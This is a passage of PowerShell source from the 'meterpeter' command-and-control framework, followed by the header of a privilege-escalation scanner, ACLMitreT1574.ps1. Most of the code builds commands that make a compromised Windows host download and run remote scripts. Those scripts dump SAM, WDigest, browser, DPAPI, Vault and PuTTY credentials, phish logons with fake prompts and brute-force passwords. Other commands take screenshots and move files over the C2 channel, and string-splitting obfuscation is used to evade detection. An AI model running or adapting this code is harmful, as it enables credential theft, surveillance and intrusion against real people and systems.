write-host " * Dumping PUTTY session(s) creds.`n" -ForegroundColor Green
$Command = "iwr -uri https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/Invoke-PuttyCreds.ps1 -OutFile `$Env:TMP\Invoke-PuttyCreds.ps1;powershell -File `$Env:TMP\Invoke-PuttyCreds.ps1 -autodel;Remove-Item -Path `$Env:TMP\Invoke-PuttyCreds.ps1 -Force"
}
If($pass_choise -ieq "DumpSAM" -or $pass_choise -ieq "sam")
{
write-host " * Dump credentials from registry hives." -ForegroundColor Green;write-host "";
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){cd `$Env:TMP;iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Dump-Sam/Invoke-Dump.ps1`" -OutFile `"`$Env:TMP\Invoke-Dump.ps1`"|Unblock-File;Import-Module -Name `".\Invoke-Dump.ps1`" -Force;Invoke-Dump;Remove-Item -Path `"`$Env:TMP\Invoke-Dump.ps1`" -Force}Else{echo `" `> Error: administrator privileges required.`" `> `$Env:TMP\fddds.log;Get-Content -Path `"`$Env:TMP\fddds.log`";Remove-Item -Path `"`$Env:TMP\fddds.log`" -Force}"
}
If($pass_choise -ieq "WDigest")
{
write-host " * WDigest Credential caching [memory]`n" -ForegroundColor Green
write-host " Description:" -ForegroundColor DarkYellow
write-host " This module patches WDigest [memory] so that m[i]mika[t]z"
write-host " can retrieve any clear-text credentials present in memory.`n"
write-host " Prompt target user for credential: 'yes' pauses module"
write-host " execution while waiting for target user credential input,"
write-host " only then it resumes execution and print results onscreen`n"
write-host " - Prompt target user for credential? (yes|no): " -ForegroundColor Red -NoNewLine
$PromptBox = Read-Host
write-host " => module takes aprox 2 minuts to finish is work." -ForegroundColor Yellow
If(-not($PromptBox) -or ($PromptBox -iMatch '^(no|n)$'))
{
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/DeviceGuard/Invoke-WDigest.ps1`" -OutFile `"`$Env:TMP\Invoke-WDigest.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\Invoke-WDigest.ps1`" -banner 'false' -wdigest 'true' -manycats;Remove-Item -Path `"`$Env:TMP\Invoke-WDigest.ps1`" -Force";
}
Else
{
$MyRunes = "-r" + "una" + "s" -join ''
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/DeviceGuard/Invoke-WDigest.ps1`" -OutFile `"`$Env:TMP\Invoke-WDigest.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\Invoke-WDigest.ps1`" -banner 'false' -wdigest 'true' -manycats $MyRunes;Remove-Item -Path `"`$Env:TMP\Invoke-WDigest.ps1`" -Force";
}
}
If($pass_choise -ieq "Browser")
{
write-host " * WebBrowser cred`ential dump." -ForegroundColor Green
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/DeviceGuard/Invoke-WDigest.ps1`" -OutFile `"`$Env:TMP\Invoke-WDigest.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\Invoke-WDigest.ps1`" -banner 'false' -wdigest 'false' -browsercreds;Remove-Item -Path `"`$Env:TMP\Invoke-WDigest.ps1`" -Force";
}
If($pass_choise -ieq "Dpapi")
{
write-host " * Dump " -ForegroundColor Green -NoNewline
write-host "$Remote_Host" -ForegroundColor Red -NoNewline
write-host " DPAPI secrets." -ForegroundColor Green
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/Invoke-VaultCmd.ps1`" -OutFile `"`$Env:TMP\Invoke-VaultCmd.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\Invoke-VaultCmd.ps1`" -action `"DPAPI`" -banner `"false`";Remove-Item -Path `"`$Env:TMP\Invoke-VaultCmd.ps1`" -Force";
}
If($pass_choise -ieq "Vault")
{
write-host " * Dumping PasswordVault credentials." -ForegroundColor Green
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/Invoke-VaultCmd.ps1`" -OutFile `"`$Env:TMP\Invoke-VaultCmd.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\Invoke-VaultCmd.ps1`" -action `"dump`" -banner `"false`" -secure;Remove-Item -Path `"`$Env:TMP\Invoke-VaultCmd.ps1`" -Force"
}
If($pass_choise -ieq "File")
{
write-host " * Search for stored credentials inside files." -ForegroundColor Green
write-host " Leave input fields black to use default settings." -ForegroundColor DarkYellow
write-host " - Directory to search recursive (`$Env:USERPROFILE): " -ForeGroundColor Red -NoNewLine
$Recursive_search = Read-Host
If(-not($Recursive_search))
{
$Recursive_search = "`$Env:USERPROFILE"
write-host " => Error: wrong input, default to $Recursive_search" -ForegroundColor Red
}
write-host " - String or Regex command to search (password=) : " -NoNewLine
$String = Read-Host
If(-not($String))
{
write-host " => Error: wrong input, using cmdlet default Regex" -ForegroundColor Red
$String = "(^(\s+U|U)ser.{0,6}(=|:).[^$]{0,22}$)|(^(\s+p|\s+cp|cp|p)ass.{0,6}(=|:).{0,22}$)|(^(\s+p|p)wd.{0,2}(=|:).{0,22}$)|(log(i|o)n.{0,2}(=|:).[^$]{0,22}$)"
}
write-host " - Stop searching after found xxx results (100) : " -NoNewLine
$StopAt = Read-Host
If(-not($StopAt))
{
$StopAt = "15"
write-host " => Error: wrong input, default to 15 max results." -ForegroundColor Red
}
write-host " - Display detailed (verbose) scan reports? (y|n) : " -NoNewLine
$VerboseMode = Read-Host
write-host " => Please wait until module finishes working." -ForegroundColor DarkYellow
If(-not($VerboseMode))
{
$VerboseMode = "false"
write-host " => Error: wrong input, default verbose to false.." -ForegroundColor Red
}
ElseIf(($VerboseMode -iMatch '^(n|no)$'))
{
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Find-Strings.ps1`" -OutFile `"`$Env:TMP\Find-Strings.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\Find-Strings.ps1`" -Path `"$Recursive_search`" -String `"$String`" -StopAt `"$StopAt`";Remove-Item -Path `"`$Env:TMP\Find-Strings.ps1`" -Force";
}
Else
{
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Find-Strings.ps1`" -OutFile `"`$Env:TMP\Find-Strings.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\Find-Strings.ps1`" -Path `"$Recursive_search`" -String `"$String`" -StopAt `"$StopAt`" -verb -limmit `"1`";Remove-Item -Path `"`$Env:TMP\Find-Strings.ps1`" -Force";
}
}
If($pass_choise -ieq "Return" -or $pass_choise -ieq "cls" -or $pass_choise -ieq "Modules" -or $pass_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$pass_choise = $Null;
}
}
If($choise -ieq "LockPC" -or $choise -ieq "lock")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " This module allow users to lock target pc"
write-host " Remark: This function silent restarts explorer." -ForeGroundColor yellow;
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " start lock target pc UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post:Lock> " -NoNewline -ForeGroundColor Green;
$Lock_choise = Read-Host;
If($Lock_choise -ieq "start")
{
$Ob = "rund" + "ll32.exe user32" + ".dll, LockWor" + "kStation" -join ''
write-host " * Lock Remote WorkStation." -ForegroundColor Green;write-host "`n`n";
$Command = "$Ob;echo `" [i] Remote-Host WorkStation Locked ..`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($Lock_choise -ieq "Return" -or $Lock_choise -ieq "cls" -or $Lock_choise -ieq "Modules" -or $Lock_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Lock_choise = $Null;
}
}
If($choise -ieq "PhishCred" -or $choise -ieq "Creds")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " This module spawns a remote 'Prompt-For-Credential' dialogBox";
write-host " in the hope that target user enters is credentials to leak them";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Start Phish for remote creds UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post:Creds> " -NoNewline -ForeGroundColor Green;
$cred_choise = Read-Host;
If($cred_choise -ieq "Start")
{
write-host " * Phish`ing for remote credentials (logon)" -ForegroundColor Green;Write-Host ""
$Command = "cd `$Env:TMP;`$GetEnvironement = [System.Environment]::OSVersion.Version.Major;If(-not(`$GetEnvironement -match '^(10|11)$')){iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/CredsPhish.ps1`" -OutFile `"`$Env:TMP\CredsPhish.ps1`"|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList `"-File `$Env:TMP\CredsPhish.ps1 -PhishCreds start`" -Wait;Get-Content -Path `"`$Env:TMP\creds.log`";Remove-Item -Path `"`$Env:TMP\creds.log`" -Force;Remove-Item -Path `"`$Env:TMP\CredsPhish.ps1`" -Force}Else{iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/PhishCreds.ps1`" -OutFile `"`$Env:TMP\PhishCreds.ps1`"|Unblock-File;powershell -file PhishCreds.ps1;Remove-Item PhishCreds.ps1 -force}"
}
If($cred_choise -ieq "Return" -or $cred_choise -ieq "return" -or $cred_choise -ieq "cls" -or $cred_choise -ieq "Modules" -or $cred_choise -ieq "modules" -or $cred_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
}
$cred_choise = $Null;
}
If($choise -ieq "BruteAcc")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " Bruteforcing user account password using dicionary attack."
write-host " Remark: Default dicionary contains 59189 credential entrys." -ForegroundColor Yellow
write-host " Remark: If you wish to use your own dicionary, then store" -ForegroundColor Yellow
write-host " it on target %TMP% directory under the name of passw.txt" -ForegroundColor Yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Start Bruteforcing user account UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Post:BruteAcc> " -NoNewline -ForeGroundColor Green;
$Brute_choise = Read-Host;
If($Brute_choise -ieq "Start")
{
Write-Host " - Input Account Name:" -ForeGroundColor Red -NoNewline
$UserAccountName = Read-Host
Write-Host " * Bruteforcing user account." -ForegroundColor Green
If(-not($UserAccountName) -or $UserAccountName -eq $null){$UserAccountName = "`$Env:USERNAME"}
Write-Host ""
#Build output DataTable!
$BruteTime = Get-Date -Format "HH:mm:ss"
$BruteTable = New-Object System.Data.DataTable
$BruteTable.Columns.Add("UserName")|Out-Null
$BruteTable.Columns.Add("StartTime")|Out-Null
$BruteTable.Columns.Add("Dicionary")|Out-Null
#Adding values to output DataTable!
$BruteTable.Rows.Add("$UserAccountName","$BruteTime","%TMP%\passw.txt")|Out-Null
#Diplay output DataTable!
$BruteTable | Format-Table -AutoSize | Out-String -Stream | ForEach-Object {
$stringformat = If($_ -Match '^(UserName)')
{
@{ 'ForegroundColor' = 'Green' }
}
Else
{
@{}
}
Write-Host @stringformat $_
}
#Run command
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/modules/CredsPhish.ps1`" -OutFile `"`$Env:TMP\CredsPhish.ps1`";powershell -W 1 -File `$Env:TMP\CredsPhish.ps1 -PhishCreds Brute -Dicionary `$Env:TMP\passw.txt -UserAccount $UserAccountName;Remove-Item -Path `$Env:TMP\CredsPhish.ps1 -Force"
}
If($Brute_choise -ieq "Return" -or $Brute_choise -ieq "cls" -or $Brute_choise -ieq "modules" -or $Brute_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Brute_choise = $Null;
}
}
If($choise -ieq "Return" -or $choice -ieq "return" -or $choise -ieq "cls" -or $choise -ieq "Modules" -or $choise -ieq "modules" -or $choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
}
$choise = $Null;
$set_time = $Null;
$mace_path = $Null;
}
If($Command -ieq "Download")
{
write-host "`n`n Remark:" -ForegroundColor Yellow;
write-host " Allways input absoluct path of the file to be downloaded.";
write-host " Avoid downloading LARGE\HUGE files with tcp connections." -ForegroundColor Yellow;
write-host " The file will be stored in meterpeter C2 working directory." -ForegroundColor Yellow;
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Start Download from rhost to lhost UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Download> " -NoNewline -ForeGroundColor Green;
$Download_choise = Read-Host;
If($Download_choise -ieq "Start")
{
Write-Host " - Remote File Path: " -ForeGroundColor Red -NoNewline;
$File = Read-Host;
If(!("$File" -like "* *") -and !([string]::IsNullOrEmpty($File)))
{
$Command = "`$1=`"#`";If(!(`"`$1`" -like `"*\*`") -and !(`"`$1`" -like `"*/*`")){`$1=`"`$pwd\`$1`"};If(([System.IO.File]::Exists(`"`$1`"))){[io.file]::ReadAllBytes(`"`$1`") -join ','}";
$Command = ChkDskInternalFuncio(Char_Obf($Command));
$Command = $Command -replace "#","$File";
$File = $File.Split('\')[-1];
$File = $File.Split('/')[-1];
$File = "$IPATH$File";
$Save = $True;
} Else {
Write-Host "`n";
$File = $Null;
$Command = $Null;
}
}
If($Download_choise -ieq "Return" -or $Download_choise -ieq "cls" -or $Download_choise -ieq "Modules" -or $Download_choise -ieq "clear")
{
$Command = $Null;
$Download_choise = $Null;
}
}
If($Command -ieq "Upload")
{
write-host "`n`n Remark:" -ForegroundColor Yellow;
write-host " Allways input absoluct path of the file to be uploaded.";
write-host " Avoid uploading LARGE\HUGE files with tcp connections." -ForegroundColor Yellow;
write-host " The file will be uploaded to Client working directory." -ForegroundColor Yellow;
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Start Upload from lhost to rhost UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Upload> " -NoNewline -ForeGroundColor Green;
$Upload_choise = Read-Host;
If($Upload_choise -ieq "Start")
{
Write-Host " - Local File Path: " -ForeGroundColor Red -NoNewline;
$File = Read-Host;
If(!("$File" -like "* *") -and !([string]::IsNullOrEmpty($File)))
{
If(!("$File" -like "*\*") -and !("$File" -like "*/*"))
{
$File = "$IPATH$File";
}
If(([System.IO.File]::Exists("$File")))
{
$FileBytes = [io.file]::ReadAllBytes("$File") -join ',';
$FileBytes = "($FileBytes)";
$File = $File.Split('\')[-1];
$File = $File.Split('/')[-1];
$Command = "`$1=`"`$pwd\#`";`$2=@;If(!([System.IO.File]::Exists(`"`$1`"))){[System.IO.File]::WriteAllBytes(`"`$1`",`$2);`"`$1`"}";
$Command = ChkDskInternalFuncio(Char_Obf($Command));
$Command = $Command -replace "#","$File";
$Command = $Command -replace "@","$FileBytes";
$Upload = $True;
} Else {
Write-Host "`n`n Status File Path" -ForeGroundColor green;
Write-Host " ------ ---------";
Write-Host " Failed File Missing: $File`n" -ForeGroundColor red;
$Command = $Null;
}
} Else {
Write-Host "`n";
$Command = $Null;
}
$File = $Null;
}
If($Upload_choise -ieq "Return" -or $Upload_choise -ieq "cls" -or $Upload_choise -ieq "Modules" -or $Upload_choise -ieq "clear")
{
$Command = $Null;
$Upload_choise = $Null;
}
}
If($Command -ieq "Screenshot")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " This module can be used to take desktop screenshot(s)";
write-host " Remark: Snapshot auto-downloads the screenshots from 'RHOST'" -ForegroundColor Yellow;
write-host " Remark: SpyScreen captures in background and stores on %TMP%" -ForegroundColor Yellow;
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Snapshot Capture one desktop_screenshot UserLand";
write-host " SpyScreen Capture multiple screenshots UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Screenshots> " -NoNewline -ForeGroundColor Green;
$choise_two = Read-Host;
If($choise_two -ieq "Snapshot")
{
$Obf = "Ad" + "d-Ty" + "pe -Ass" + "embl" + "yName" -join ''
$File = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
Write-Host " * Screenshot File:'" -ForegroundColor Green -NoNewline
Write-Host "$File.png" -ForegroundColor DarkGray -NoNewline
Write-Host "'" -ForegroundColor Green
write-host " => Remark: wait for module to finish.." -ForegroundColor Red
$Command = "`$FilePath=`"`$Env:TMP\#`";$Obf System.Windows.Forms;`$Microsof=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height);`$Catrapilar=[System.Drawing.Graphics]::FromImage(`$Microsof);`$Catrapilar.CopyFromScreen((New-Object System.Drawing.Point(0,0)),(New-Object System.Drawing.Point(0,0)),`$Microsof.Size);`$Catrapilar.Dispose();Start-Sleep -Milliseconds 200;`$Microsof.Save(`"`$FilePath`");If(([System.IO.File]::Exists(`"`$FilePath`"))){[io.file]::ReadAllBytes(`"`$FilePath`") -join ',';Remove-Item -Path `"`$FilePath`" -Force}";
$Command = $Command -replace "#","$File";
$File = "$pwd\$File.png";
$Save = $True;
}
If($choise_two -ieq "SpyScreen")
{
[int]$Inbetween = 1
Write-Host " - Take how many captures: " -NoNewline;
[int]$Captures = Read-Host;
If(-not($Captures) -or $Captures -lt 1)
{
[int]$Captures = 1
}
ElseIf($Captures -gt 1)
{
Write-Host " - Time between captures : " -NoNewline;
[int]$Inbetween = Read-Host;
}
If($Captures -gt 3 -or $Inbetween -gt 5)
{
$TotalSpyTime = $Captures * $Inbetween
write-host " *" -ForegroundColor Green -NoNewline;
write-host " Background Screenshot Execution.`n`n" -ForegroundColor Green;
## Create Data Table for output
$mytable = New-Object System.Data.DataTable
$mytable.Columns.Add("Captures")|Out-Null
$mytable.Columns.Add("DelayTime")|Out-Null
$mytable.Columns.Add("TotalTime")|Out-Null
$mytable.Columns.Add("FileStorage")|Out-Null
$mytable.Rows.Add("$Captures",
"$Inbetween (sec)",
"$TotalSpyTime (sec)",
"%tmp%\Meterpeter.zip")|Out-Null
## Display Data Table
$mytable | Format-Table -AutoSize
$Command = "iwr -Uri https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Screenshot.ps1 -OutFile `$Env:TMP\Screenshot.ps1|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList `"-File $Env:TMP\Screenshot.ps1 -Screenshot $Captures -Delay $Inbetween`""
}
Else
{
#Run command
$Command = "iwr -Uri https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Screenshot.ps1 -OutFile `$Env:TMP\Screenshot.ps1|Out-Null;powershell -File `"`$Env:TMP\Screenshot.ps1`" -Screenshot $Captures -Delay $Inbetween"
}
}
If($choise_two -ieq "Return" -or $choise_two -ieq "cls" -or $choise_two -ieq "Modules" -or $choise_two -ieq "clear")
{
$Command = $Null;
$choise_two = $Null;
}
}
If(!([string]::IsNullOrEmpty($Command)))
{
If(!($Command.length % $Bytes.count))
{
$Command += " ";
}
$SendByte = ([text.encoding]::ASCII).GetBytes($Command);
Try {
$Stream.Write($SendByte,0,$SendByte.length);
$Stream.Flush();
}
Catch {
Write-Host "`n [x] Connection Lost with $Remote_Host !" -ForegroundColor Red -BackGroundColor white;
$webroot = Test-Path -Path "$env:LocalAppData\webroot\";If($webroot -ieq $True){cmd /R rmdir /Q /S "%LocalAppData%\webroot\"};
Start-Sleep -Seconds 4;
$Socket.Stop();
$Client.Close();
$Stream.Dispose();
Exit;
}
$WaitData = $True;
}
If($Command -ieq "Exit")
{
write-Host "`n";
Write-Host "[x] Closing Connection with $Remote_Host!" -ForegroundColor Red -BackGroundColor white;
$check = Test-Path -Path "$env:LocalAppData\webroot\";
If($check -ieq $True)
{
Start-Sleep -Seconds 2;
write-host "[i] Deleted: '$env:LocalAppData\webroot\'" -ForegroundColor Yellow;
cmd /R rmdir /Q /S "%LocalAppData%\webroot\";
}
If(Test-Path -Path "${IPATH}${payload_name}.ps1" -EA SilentlyContinue)
{
Remove-Item -Path "${IPATH}${payload_name}.ps1" -ErrorAction SilentlyContinue -Force
write-host "[i] Deleted: '${IPATH}${payload_name}.ps1'" -ForegroundColor Yellow
}
Start-Sleep -Seconds 3
Clear-Host
write-host $EndBanner
write-host " * GitHub: https://github.com/r00t-3xp10it/meterpeter *`n" -ForegroundColor DarkYellow
$Socket.Stop();
$Client.Close();
$Stream.Dispose();
Exit;
}
If($Command -ieq "Clear" -or $Command -ieq "Cls" -or $Command -ieq "Clear-Host" -or $Command -ieq "return" -or $Command -ieq "modules")
{
Clear-Host;
#Write-Host "`n$Modules";
}
$Command = $Null;
}
If($WaitData)
{
While(!($Stream.DataAvailable))
{
Start-Sleep -Milliseconds 1;
}
If($Stream.DataAvailable)
{
While($Stream.DataAvailable -or $Read -eq $Bytes.count)
{
Try {
If(!($Stream.DataAvailable))
{
$Temp = 0;
While(!($Stream.DataAvailable) -and $Temp -lt 1000)
{
Start-Sleep -Milliseconds 1;
$Temp++;
}
If(!($Stream.DataAvailable))
{
Write-Host "`n [x] Connection Lost with $Remote_Host!" -ForegroundColor Red -BackGroundColor white;
$webroot = Test-Path -Path "$env:LocalAppData\webroot\";If($webroot -ieq $True){cmd /R rmdir /Q /S "%LocalAppData%\webroot\"};
Start-Sleep -Seconds 5;
$Socket.Stop();
$Client.Close();
$Stream.Dispose();
Exit;
}
}
$Read = $Stream.Read($Bytes,0,$Bytes.length);
$OutPut += (New-Object -TypeName System.Text.ASCIIEncoding).GetString($Bytes,0,$Read);
}
Catch {
Write-Host "`n [x] Connection Lost with $Remote_Host!" -ForegroundColor Red -BackGroundColor white;
$webroot = Test-Path -Path "$env:LocalAppData\webroot\";If($webroot -ieq $True){cmd /R rmdir /Q /S "%LocalAppData%\webroot\"};
Start-Sleep -Seconds 5;
$Socket.Stop();
$Client.Close();
$Stream.Dispose();
Exit;
}
}
If(!($Info))
{
$Info = "$OutPut";
}
If($OutPut -ne " " -and !($Save) -and !($Upload))
{
Write-Host "`n$OutPut";
}
If($Save)
{
If($OutPut -ne " ")
{
If(!([System.IO.File]::Exists("$File")))
{
$FileBytes = "$OutPut"|&('Sex' -replace 'S','I')
[System.IO.File]::WriteAllBytes("$File",$FileBytes);
Write-Host "`n`n Status File Path" -ForeGroundColor green;
Write-Host " ------ ---------";
Write-Host " saved $File`n";
$Command = $Null;
} Else {
Write-Host "`n`n Status File Path" -ForeGroundColor green;
Write-Host " ------ ---------";
Write-Host " Failed $File (Already Exists)`n" -ForegroundColor Red;
$Command = $Null;
}
} Else {
Write-Host "`n`n Status File Path" -ForeGroundColor green;
Write-Host " ------ ---------";
Write-Host " Failed File Missing`n" -ForegroundColor Red;
$Command = $Null;
}
$File = $Null;
$Save = $False;
$Command = $Null;
}
If($Upload)
{
If($OutPut -ne " ")
{
If($Cam_set -ieq "True")
{
write-host "`n`n CommandCam syntax" -ForeGroundColor Green;
write-host " -----------------";
Write-Host " :meterpeter> .\CommandCam.exe /devlist`n";
$Cam_set = "False";
}ElseIf($SluiEOP -ieq "True"){
cd mimiRatz
## Revert SluiEOP [] to defalt []
$CheckValue = Get-Content SluiEOP.ps1|Select-String "MakeItPersistence ="
If($CheckValue -match 'True'){((Get-Content -Path SluiEOP.ps1 -Raw) -Replace "MakeItPersistence = `"True`"","MakeItPersistence = `"False`"")|Set-Content -Path SluiEOP.ps1 -Force}
cd ..
Write-Host "`n`n Status Remote Path" -ForeGroundColor green;
write-host " ------ -----------"
Write-Host " Saved $OutPut`n"
$SluiEOP = "False"
}ElseIf($COMEOP -ieq "True"){
cd mimiRatz
## Revert CompDefault [] to defalt []
$CheckValue = Get-Content CompDefault.ps1|Select-String "MakeItPersistence ="
If($CheckValue -match 'True'){((Get-Content -Path CompDefault.ps1 -Raw) -Replace "MakeItPersistence = `"True`"","MakeItPersistence = `"False`"")|Set-Content -Path CompDefault.ps1 -Force}
cd ..
Write-Host "`n`n Status Remote Path" -ForeGroundColor green;
write-host " ------ -----------"
Write-Host " Saved $OutPut`n"
$COMEOP = "False"
}else{
$OutPut = $OutPut -replace "`n","";
If($OutPut -match "GetBrowsers.ps1"){
$sanitize = $OutPut -replace 'GetBrowsers.ps1','GetBrowsers.ps1 '
$OutPut = $sanitize.split(' ')[0] # Get only the 1º upload path
}
Write-Host "`n`n Status Remote Path" -ForeGroundColor green;
Write-Host " ------ -----------";
Write-Host " saved $OutPut`n";
}
If($Tripflop -ieq "True")
{
Write-Host " execute :meterpeter> Get-Help ./GetBrowsers.ps1 -full`n" -ForeGroundColor Yellow;
$Tripflop = "False";
}
If($Flipflop -ieq "True")
{
write-host " Remark Client:Admin triggers 'ams`istream-ByP`ass(PSv2)'`n" -ForeGroundColor yellow;Start-Sleep -Seconds 1;
$Flipflop = "False";
}
If($Camflop -ieq "True")
{
write-host "`n`n CommandCam syntax" -ForeGroundColor Green;
write-host " -----------------";
Write-Host " :meterpeter> .\CommandCam.exe`n";
$Camflop = "False";
}
If($Phishing -ieq "True")
{
$OutPut = $OutPut -replace ".ps1",".log";
write-host " output $OutPut`n";
$Phishing = "False";
}
If($NewPhishing -ieq "True")
{
$OutPut = $OutPut -replace "NewPhish.ps1","CredsPhish.log";
write-host " output $OutPut`n";
$NewPhishing = "False";
}
$Command = $Null;
} Else {
Write-Host "`n`n Status File Path" -ForeGroundColor green;
Write-Host " ------ ---------";
Write-Host " Failed $File (Already Exists Remote)`n" -ForeGroundColor red;
$Command = $Null;
}
$Upload = $False;
}
$WaitData = $False;
$Read = $Null;
$OutPut = $Null;
}
}
}
================================================
FILE: mimiRatz/ACLMitreT1574.ps1
================================================
<#
.SYNOPSIS
MITRE ATT&CK - T1574
Author: @r00t-3xp10it
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: Get-Acl {native}
Optional Dependencies: none
PS cmdlet Dev version: v2.5.11
.DESCRIPTION
Cmdlet to search for weak directory permissions (F) (M) (W) that
allow attackers to Escalate Privileges on target system [ local ]
.NOTES
This cmdlet its a auxiliary module of @Meterpeter C2 v2.10.11 release.
If invoked -action 'path' then cmdlet scans all environement paths for
FileSystemRigths 'FullControl, Modify' with 'Everyone,Users,UserName'
If invoked -action 'dir' then cmdlet scans recursive $Env:PROGRAMFILES
${Env:PROGRAMFILES(x86)},$Env:LOCALAPPDATA\Programs default directrorys
for FileSystemRigths 'FullControl,Modify' with GroupName 'Everyone,Users'
If invoked -extraperm 'true' @argument then cmdlet adds extra
permission to the 'ACL_Permissions_List' (permisssion: Write)
Remark: extraperm parameter takes a long time to finish if invoked
together with -action 'dir' @arg (Scan recursive pre-defined paths)
If invoked -extraGroup 'true' @argument then cmdlet adds extra Group
Name to the 'Groups_To_Scan_List' (NT AUTHORITY\Authenticated Users)
Remark: Parameter -scan 'string' only works if invoked together
with -action 'dir' @argument ( Scan recursive pre-defined paths ) and
it will scan recursive the inputed directory ( excluding pre-defined )
.Parameter Action
Accepts arguments: dir, path, reg (default: dir)
.Parameter extraperm
Add extra permission to permissions_list? (default: false)
.Parameter scan
The directory absoluct path to scan recursive (default: false)
.Parameter extraGroup
Add extra group name to groups_to_scan_list? (default: false)
.Parameter Verb
Display the paths beeing scanned in realtime? (default: false)
.Parameter Logfile
Create report logfile on %tmp% directory? (default: false)
.EXAMPLE
PS C:\> .\ACLMitreT1574.ps1
Scan recursive in pre-defined directorys for 'Everyone,
BUILTIN\Users' GroupNames with 'FullControl,Modify' ACL
.EXAMPLE
PS C:\> .\ACLMitreT1574.ps1 -action path
Scans all environement paths for 'Everyone,BUILTIN\Users,
DOMAIN\UserName' GroupNames with 'FullControl,Modify' ACL
.EXAMPLE
PS C:\> .\ACLMitreT1574.ps1 -action path -logfile true
Scans all environement paths for 'Everyone,BUILTIN\Users,
DOMAIN\UserName' GroupNames with 'FullControl,Modify' ACL
and create report logfile on %tmp% directory ..
.EXAMPLE
PS C:\> .\ACLMitreT1574.ps1 -action dir -extraperm true
Scan recursive in pre-defined directorys for 'Everyone,
BUILTIN\Users' GroupNames with 'FullControl,Modify,Write'
.EXAMPLE
PS C:\> .\ACLMitreT1574.ps1 -action dir -scan "C:\Users\pedro\Coding"
Scan recursive -scan 'C:\Users\pedro\Coding' for 'Everyone, BUILTIN\Users'
GroupNames with 'FullControl,Modify' ACL permissions settings.
.INPUTS
None. You cannot pipe objects into ACLMitreT1574.ps1
.OUTPUTS
VulnId : 1::ACL (Mitre T1574)
FolderPath : C:\Program Files (x86)\Resource Hacker
FileSystemRights : FullControl
IdentityReference : Everyone
IsInherited : False
VulnId : 2::ACL (Mitre T1574)
FolderPath : C:\Program Files (x86)\Resource Hacker\help
FileSystemRights : FullControl
IdentityReference : Everyone
IsInherited : True
VulnId : 3::ACL (Mitre T1574)
FolderPath : C:\Program Files (x86)\Resource Hacker\samples
FileSystemRights : FullControl
IdentityReference : Everyone
IsInherited : True
VulnId : 4::ACL (Mitre T1574)
FolderPath : C:\Program Files (x86)\Starcraft2\OobehgtrDoncFjp
FileSystemRights : Modify
IdentityReference : SKYNET\pedro
IsInherited : False
VulnId : 5::ACL (Mitre T1574)
FolderPath : C:\Program Files (x86)\Starcraft2\OobehgtrDoncFjp\games
FileSystemRights : Write
IdentityReference : BUILTIN\Users
IsInherited : True
.LINK
https://attack.mitre.org/techniques/T1574/010
https://github.com/r00t-3xp10it/meterpeter/blob/master/mimiRatz/FindEop.bat
